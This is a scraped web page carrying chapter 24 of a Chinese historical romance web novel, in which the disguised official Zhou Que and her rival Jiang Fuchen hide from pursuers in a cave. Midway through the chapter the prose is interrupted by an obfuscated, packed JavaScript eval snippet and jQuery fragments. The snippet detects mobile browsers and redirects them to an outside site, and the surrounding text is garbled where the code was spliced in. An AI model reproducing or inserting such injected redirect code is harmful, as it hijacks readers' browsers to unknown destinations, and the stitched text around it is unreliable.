24. 第 24 章

作品:《我与宿敌平分天下后he

    醇厚低沉的嗓音在她耳边响起。


    江赋臣……不能让他知道!


    昏迷前,周鹊脑中只有这一个念头。


    再醒来时,她人却在一处山洞,光从洞口照进来,勉强看清楚四周的山石情况。


    山洞不深,空间却极为开阔。


    她坐起身,看见江赋臣坐在洞口处烤着火,一旁是从她身上解下来的带血裹胸。


    四下再无他人,他似乎也并未察觉她的苏醒。


    周鹊拔出头顶的束发簪,墨发自然垂落下来,半遮住凌厉却漂亮的眉眼。


    她缓缓走到他的背后,手中的发簪轻轻按压,露出尖锐细长的银针。


    她猛地使劲,寒光闪耀在男人温润的眉宇间。


    他略微侧头,险险避开,一抬手将她整个人拽入怀中。


    周鹊双手被束于头顶,整个人横躺在他的腿上,姿势格外暧昧。


    “我救了你,你却恩将仇报?”江赋臣不怒反笑,眼底却藏着促狭的寒意。


    周鹊也有些生气:“你知道我醒了?故意诈我?”


    “谁让有些人不禁诈,一不留神便露出了狐狸尾巴?”江赋臣逼近,看着眼前人炸毛的样子,似是令他十分取悦。


    周鹊挣扎的更厉害,没了裹胸的束缚,他能清楚感觉到那股贴在他身上的特殊触感。


    感觉到男人逐渐加重的呼吸,周鹊动着动着便不敢再动。


    江赋臣笑意渐渐敛去,脸上难得露出沉冷之色,他一把推开她,低声警告道:“老实点,以你现在的体力,杀不死我!”


    周鹊当然明白这一点,之前那么好的机会都没得逞,接下来就更没有可能。


    她收了杀心,将手里的簪子“哐当”扔到地上,慢悠悠地坐在他身旁:“这件事,你必须保密!”


    江赋臣勾唇轻笑,又恢复了往昔的温和无害:“那得看你拿什么来换!”


    可这说出的话实在不中听。


    周鹊伸出双手,对着火堆烤火:“说吧,你的条件?”


    江赋臣斜斜打量着周鹊,墨发垂肩,肤白如瓷,明眸皓齿,这样的长相在女子中也是极尽稀罕。


    “要不……你以身相许?”他本也抱着戏弄她的心思。


    可周鹊认真了。


    “你说真的?是不是只要我答应,你就保守秘密?你要来几次?一次?两次?”


    江赋臣被问的有些招架不住:“你有没有点女人的矜持?”


    周鹊冷笑:“我又不嫁人,要那贞节牌坊做什么?”


    江赋臣不再逗她了:“放心,在我拿到江家实权之前,你不会有事。”


    “那在那之后呢?”周鹊不放心,总觉得有个把柄落在别人手里。


    江赋臣扫了一眼她凹凸有致的身形:“日后再说。”


    周鹊没再吭声,在心里默默盘算着,还是找个机会杀了的省心。


    洞外的雨或大或小,一直下个不停。


    周鹊听着外面的雨声,开口问道:“你是怎么找到我的?其他人呢?”


    “陈世安错认我们俩,集中人手对付我,双方交手的过程中,我和江杨他们走散,一路赶到河边,正好碰上你。”江赋臣道。


    “所以现在外面找我们的有三波人,你的人,我的人,还有陈世安的人!”周鹊分析道。


    江赋臣点点头:“下雨天冲刷了我们的足迹,这加大了陈世安找到我们的难度,但同样也给我们的人加大了难度。”


    周鹊长舒了口气,从江赋臣手里接过微焦的烤鱼:“不管了,先吃吧,我饿了!”


    “目前只有鱼,先将就着吃,等回去再补。”江赋臣以为娇生惯养的周鹊会吃不惯。


    但周鹊是个在哪都能活的人,富贵时能大鱼大肉,落魄时也能吃糠咽菜。


    周鹊吃的很香,江赋臣发现是他多虑了。


    天色渐渐暗下来,洞外的潮湿之气涌进来,寒意加重。


    周鹊哆哆嗦嗦地捧了一堆柴火,往火上扔。


    夜晚的林子里除了雨声再无其他,听了一个下午的雨,这会儿周鹊只想打瞌睡。


    这时,一阵窸窸窣窣的说话声由远及近。


    有人靠近了!


    一旁的江赋臣猛地站起身,惊得周鹊也瞬间清醒过来。


    “有人,我出去看看是敌是友。”周鹊将外袍脱下扔给了周鹊,穿着单薄的衫衣便出去了。


    周鹊想叮嘱他小心,可人已经走出去,她也不好再出声,免得被外面来的人听见。


    时间一点点流逝,江赋臣迟迟未归。


    周鹊有些不安地灭了火,火光在雨夜里太过显眼,她担心会招惹来不该招惹的人。


    若是自己人,江赋臣应该很快就回来了才对。


    她刚火堆扑灭,江赋臣便满身寒气地跑了回来。


    “是陈世安的人!”江赋臣顺手将地上的裹胸带扔进了还未完全熄灭的火堆里。


    “哎,我的……”周鹊还没来得及问,便被江赋臣捂住嘴,带进了山洞里面。


    “他们带了狗!”


    不处理便会闻到上面的血腥味。


    周鹊明白了,乖乖跟着江赋臣窝在极其狭隘的石壁间。


    两人身体相贴,她能感觉到他身上散发出的阵阵寒意,随即将外袍披到了他身上。


    江赋臣的外袍散开时很宽大,足够包裹住清瘦的周鹊,他的手有意无意地将她裹入怀中。


    暖意存留,同时燥热也在逐渐升起。


    周鹊甚至能感觉到心口被挤压的毫无缝隙,只隔着几层薄薄的衣料。


    她耳根略微发烫,心里纳闷为何那帮人还不过来?她到底还要和他贴多久?


    “我把他们引开了,一时半会儿应该还找不到这。”江赋臣似乎看穿了她的心意,贴在她耳边小声道。


    周鹊耳朵痒,情不自禁地缩了缩肩膀,连带着贴在他胸膛的位置也跟着动弹。


    江赋臣的呼吸明显凝滞了片刻:“再忍一忍,快了!”


    果然,他话音刚落,脚步声便靠近过来。


    洞口有草木遮挡,夜色里,一行人影影绰绰地穿梭过去,却无一人发现洞内情况。


    狗在洞前停留片刻,忽有一阵狂风刮过,一行人匆忙捂脸,压根没人去注意狗。


    周鹊听着脚步声渐行渐远,不由得松了口气,正欲出来,腰却被江赋臣轻轻抵住。


    她抬眸,清亮的目光落向男人,夜色里,她只看得见江赋臣轮廓分明的下颌。


    “再等等!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114761|162093||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>周鹊没再动,果然不一会儿,牵着狗的壮汉便又折返回来。


    “这狗什么毛病?怎么老想回头?”


    周鹊的神经骤然绷紧,却见那狗在洞口来回徘徊良久,最终低头捡到什么吃了起来。


    “嗨!我说什么东西,原来是找食儿呢!”


    狗吃完东西,再次被强行牵走。


    这回,周鹊终于走了出来。


    “你在洞口放了什么?”周鹊坐在火堆前,伸出手去发现火堆已经冷透。


    “一些没吃完的鱼肉。”江赋臣在她身侧坐下。


    今夜不再适合点火,周鹊和江赋臣各坐一边,直到天蒙蒙亮。


    外面脚步声再次响起,这次不等江赋臣出去,便传来东恩的叫唤声。


    “主子!主子你在哪儿?”


    周鹊闻言面露喜色,正欲出去,忽然想起她的裹胸被火烧了,就在她犹豫的时候,江赋臣将他的外袍塞入她手里。


    “先遮一遮。”


    来的是东恩,想必马车也在附近,青梅她们应是给她备好了东西。


    周鹊披着外袍走出去,一眼便看见穿着官袍的曹兴带着一群人在附近搜索,她大声喊了一嗓子。


    “周大人!”曹兴激动不已,带着人连忙朝这边赶来。


    东恩和江杨跑的最快。


    两个人看了看周鹊,又看了看江赋臣。


    江杨:“你家主子干嘛穿我们大人的衣服?”


    东恩:“你们大人愿意的,要你插嘴?”


    “好了好了,两位大人遇险脱困,实属不易,先回客栈休整一番吧!”曹兴连忙打圆场。


    周鹊回到马车上,便先换下了那件不太合身的外袍。


    回到房中,东恩去打了洗澡水来,周鹊盯着眼前的外袍,犹疑良久,方才递给了东恩:“去洗干净,然后给江赋臣的小厮送去。”


    东恩撇撇嘴,一副不太情愿的样子。


    “怎么?”


    东恩道:“我都能想象,我送去时江杨那副讨厌的嘴脸,搞的好像我欠了他天大的人情似的。”


    “你和江杨关系何时变得这么差?”周鹊本也是随口一问。


    “不是一直都很差吗?这话说的,好像您和江大人关系多好似的。”


    周鹊微微一愣,便也不再过问:“你若不想送,就让别人去送。”


    东恩放好了洗澡水,周鹊坐进浴桶中,暖意传入四肢百骸,这才觉得舒服许多。


    青梅敲窗而入,替她胸前的伤口上了药。


    “这江赋臣还真是不简单,居然懂些医术,若非他及时替你上药,只怕你现在已经不省人事。”青梅道。


    周鹊闭着眼,后仰将脑袋搁在浴桶上,伤口还是有些疼的。


    “不过主子身姿曼妙,江赋臣当真没动一点歪心思吗?”青梅还是质疑。


    “当时情况特殊,谁会想那些?”周鹊尽量掩饰内心的忐忑。


    青梅点了点头,便也认可了这套说辞。


    ……


    隔壁屋里。


    江杨也刚打完洗澡水,只是他打的是冷水澡,室内一点雾气都不起。


    “主子确定不再加点热水?”江杨不放心地询问,这还没到夏天呢,主子哪来这么大的火?